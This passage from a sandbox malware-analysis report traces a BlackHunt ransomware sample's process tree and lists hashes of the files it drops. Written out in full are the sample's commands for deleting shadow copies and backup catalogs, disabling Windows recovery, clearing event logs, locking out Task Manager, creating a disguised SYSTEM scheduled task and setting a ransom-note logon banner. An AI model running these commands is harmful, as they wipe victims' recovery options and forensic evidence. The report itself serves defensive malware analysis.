                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:4368
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:3260
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:1544
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:908
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:3124
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:1376
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:4312
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1576
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:3740
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:1676
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:2476
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:2024
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:1568
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:2584
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:3620
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:2940
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                                PID:1836
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:4652
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                  3⤵
                                                                                    PID:5016
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:4400
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      3⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3512
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                      3⤵
                                                                                        PID:2344
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                      2⤵
                                                                                        PID:2408
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          3⤵
                                                                                          • Modifies registry class
                                                                                          PID:1352
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:516
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:3472
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:5080
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F
                                                                                              2⤵
                                                                                                PID:1408
                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                  SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F
                                                                                                  3⤵
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:440
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                2⤵
                                                                                                  PID:4216
                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                    3⤵
                                                                                                    • Enumerates connected drives
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:4084
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                  2⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1636
                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                    3⤵
                                                                                                    • Enumerates connected drives
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:5112
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                  2⤵
                                                                                                    PID:896
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                      3⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:700
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                    2⤵
                                                                                                      PID:3360
                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                        3⤵
                                                                                                        • Interacts with shadow copies
                                                                                                        PID:9156
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                      2⤵
                                                                                                        PID:2400
                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                          3⤵
                                                                                                          • Interacts with shadow copies
                                                                                                          PID:8184
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                        2⤵
                                                                                                          PID:4160
                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                            3⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:6792
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                          2⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:816
                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                            fsutil.exe usn deletejournal /D C:
                                                                                                            3⤵
                                                                                                            • Deletes NTFS Change Journal
                                                                                                            PID:9052
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                          2⤵
                                                                                                            PID:2504
                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                              3⤵
                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                              PID:7776
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                            2⤵
                                                                                                              PID:3164
                                                                                                              • C:\Windows\system32\wbadmin.exe
                                                                                                                wbadmin.exe delete catalog -quiet
                                                                                                                3⤵
                                                                                                                • Deletes backup catalog
                                                                                                                PID:8880
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                              2⤵
                                                                                                                PID:4820
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                  3⤵
                                                                                                                    PID:7588
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                  2⤵
                                                                                                                    PID:6036
                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                      fsutil usn deletejournal /D M:\
                                                                                                                      3⤵
                                                                                                                      • Enumerates connected drives
                                                                                                                      PID:12928
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                    2⤵
                                                                                                                      PID:6064
                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                        fsutil usn deletejournal /D C:\
                                                                                                                        3⤵
                                                                                                                          PID:9168
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                        2⤵
                                                                                                                          PID:6048
                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                            fsutil usn deletejournal /D F:\
                                                                                                                            3⤵
                                                                                                                            • Enumerates connected drives
                                                                                                                            PID:9136
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                          2⤵
                                                                                                                            PID:14300
                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                              wevtutil.exe cl Setup
                                                                                                                              3⤵
                                                                                                                              • Clears Windows event logs
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:8724
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                            2⤵
                                                                                                                              PID:8912
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl System
                                                                                                                                3⤵
                                                                                                                                • Clears Windows event logs
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:10668
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                              2⤵
                                                                                                                                PID:12792
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl Security
                                                                                                                                  3⤵
                                                                                                                                  • Clears Windows event logs
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:6072
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                2⤵
                                                                                                                                  PID:5388
                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                    wevtutil.exe cl Application
                                                                                                                                    3⤵
                                                                                                                                    • Clears Windows event logs
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:11288
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                  2⤵
                                                                                                                                    PID:5500
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl Security /e:false
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:8852
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                    2⤵
                                                                                                                                      PID:9132
                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                        vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                        3⤵
                                                                                                                                        • Interacts with shadow copies
                                                                                                                                        PID:14212
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                      2⤵
                                                                                                                                        PID:11560
                                                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                                                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                          3⤵
                                                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                                                          PID:9008
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                        2⤵
                                                                                                                                          PID:5292
                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                                            3⤵
                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                            PID:14188
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                          2⤵
                                                                                                                                            PID:6364
                                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                                              fsutil.exe usn deletejournal /D C:
                                                                                                                                              3⤵
                                                                                                                                              • Deletes NTFS Change Journal
                                                                                                                                              PID:14220
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                            2⤵
                                                                                                                                              PID:8904
                                                                                                                                              • C:\Windows\system32\wbadmin.exe
                                                                                                                                                wbadmin.exe delete catalog -quiet
                                                                                                                                                3⤵
                                                                                                                                                • Deletes backup catalog
                                                                                                                                                PID:8728
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                              2⤵
                                                                                                                                                PID:8624
                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                  schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                  3⤵
                                                                                                                                                    PID:14000
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                  2⤵
                                                                                                                                                    PID:14244
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                      3⤵
                                                                                                                                                        PID:13960
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                      2⤵
                                                                                                                                                        PID:14268
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                          3⤵
                                                                                                                                                            PID:13956
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                          2⤵
                                                                                                                                                            PID:14136
                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                              SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                              3⤵
                                                                                                                                                                PID:13976
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:9068
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:13904
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4464
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /IM mshta.exe /f
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:15488
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                    PID:9624
                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                      "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:13868
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 13868 -s 1452
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Program crash
                                                                                                                                                                          PID:13432
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:8908
                                                                                                                                                                        • C:\Windows\system32\notepad.exe
                                                                                                                                                                          notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:8684
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:8992
                                                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                              ping 127.0.0.1 -n 5
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                              PID:14028
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:8900
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:14048
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                              PID:1952
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:468
                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                PID:3560
                                                                                                                                                                              • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                C:\Windows\system32\vssvc.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:1144
                                                                                                                                                                              • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:5156
                                                                                                                                                                              • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:8476
                                                                                                                                                                                • C:\Windows\System32\vds.exe
                                                                                                                                                                                  C:\Windows\System32\vds.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                  PID:9328
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 13868 -ip 13868
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:13404

                                                                                                                                                                                  Network

                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                  Downloads

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    1KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    dcc09cb0a76df81a9e1a7703a455d4a8

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    86d3103a22ede3f62a765c3a818d6d9de649b700

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    6afcd655c3dc975a9cc1a7f8e1a54ce3ab6fea593df4ff75db0e984f0cb19bf7

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    6ab3766ef51c6428151b2073582263d199f94e61b10753db6d703b6710f93c990cfa3d5f60c10be2879855ff3ed284a49dfa706479b791a5078547a32c42b6e5

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    12KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    c362d259ce6a2a268f7465480731ab15

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    1636230a9d905def883f398c1bf916749d3a73f0

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    c3e5e561815e9b112aa46f59c8f6e7dc90d9b3cbba752a42a8fcb38c7a5c4d4a

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    0113f4bf8e4de976ec79e84632552eaa74cde9bacb62c098019fb1f84d9a29eeea6a332f890930a039ce44cfe15074e5567a7f9cd1b3a35f05459afbb10ccc7d

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    684B

                                                                                                                                                                                    MD5

                                                                                                                                                                                    a937ef46c23ddb63b1eaba7e21203e73

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    b544e955633493af8613295ce967f0e0efb0f21d

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    159510b41c286c27c92b4d473ff65887ce1fa1739c5b48ebbca26ebfd47b6d89

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    feff34cf7f65a46e2b6fe7f98d0017c0442bcda85f2db70e0c7ebeb1147b1150ae82f4ace0428895add971dff0dd08f08d3db9669bc3221744de68a03ed6fdf4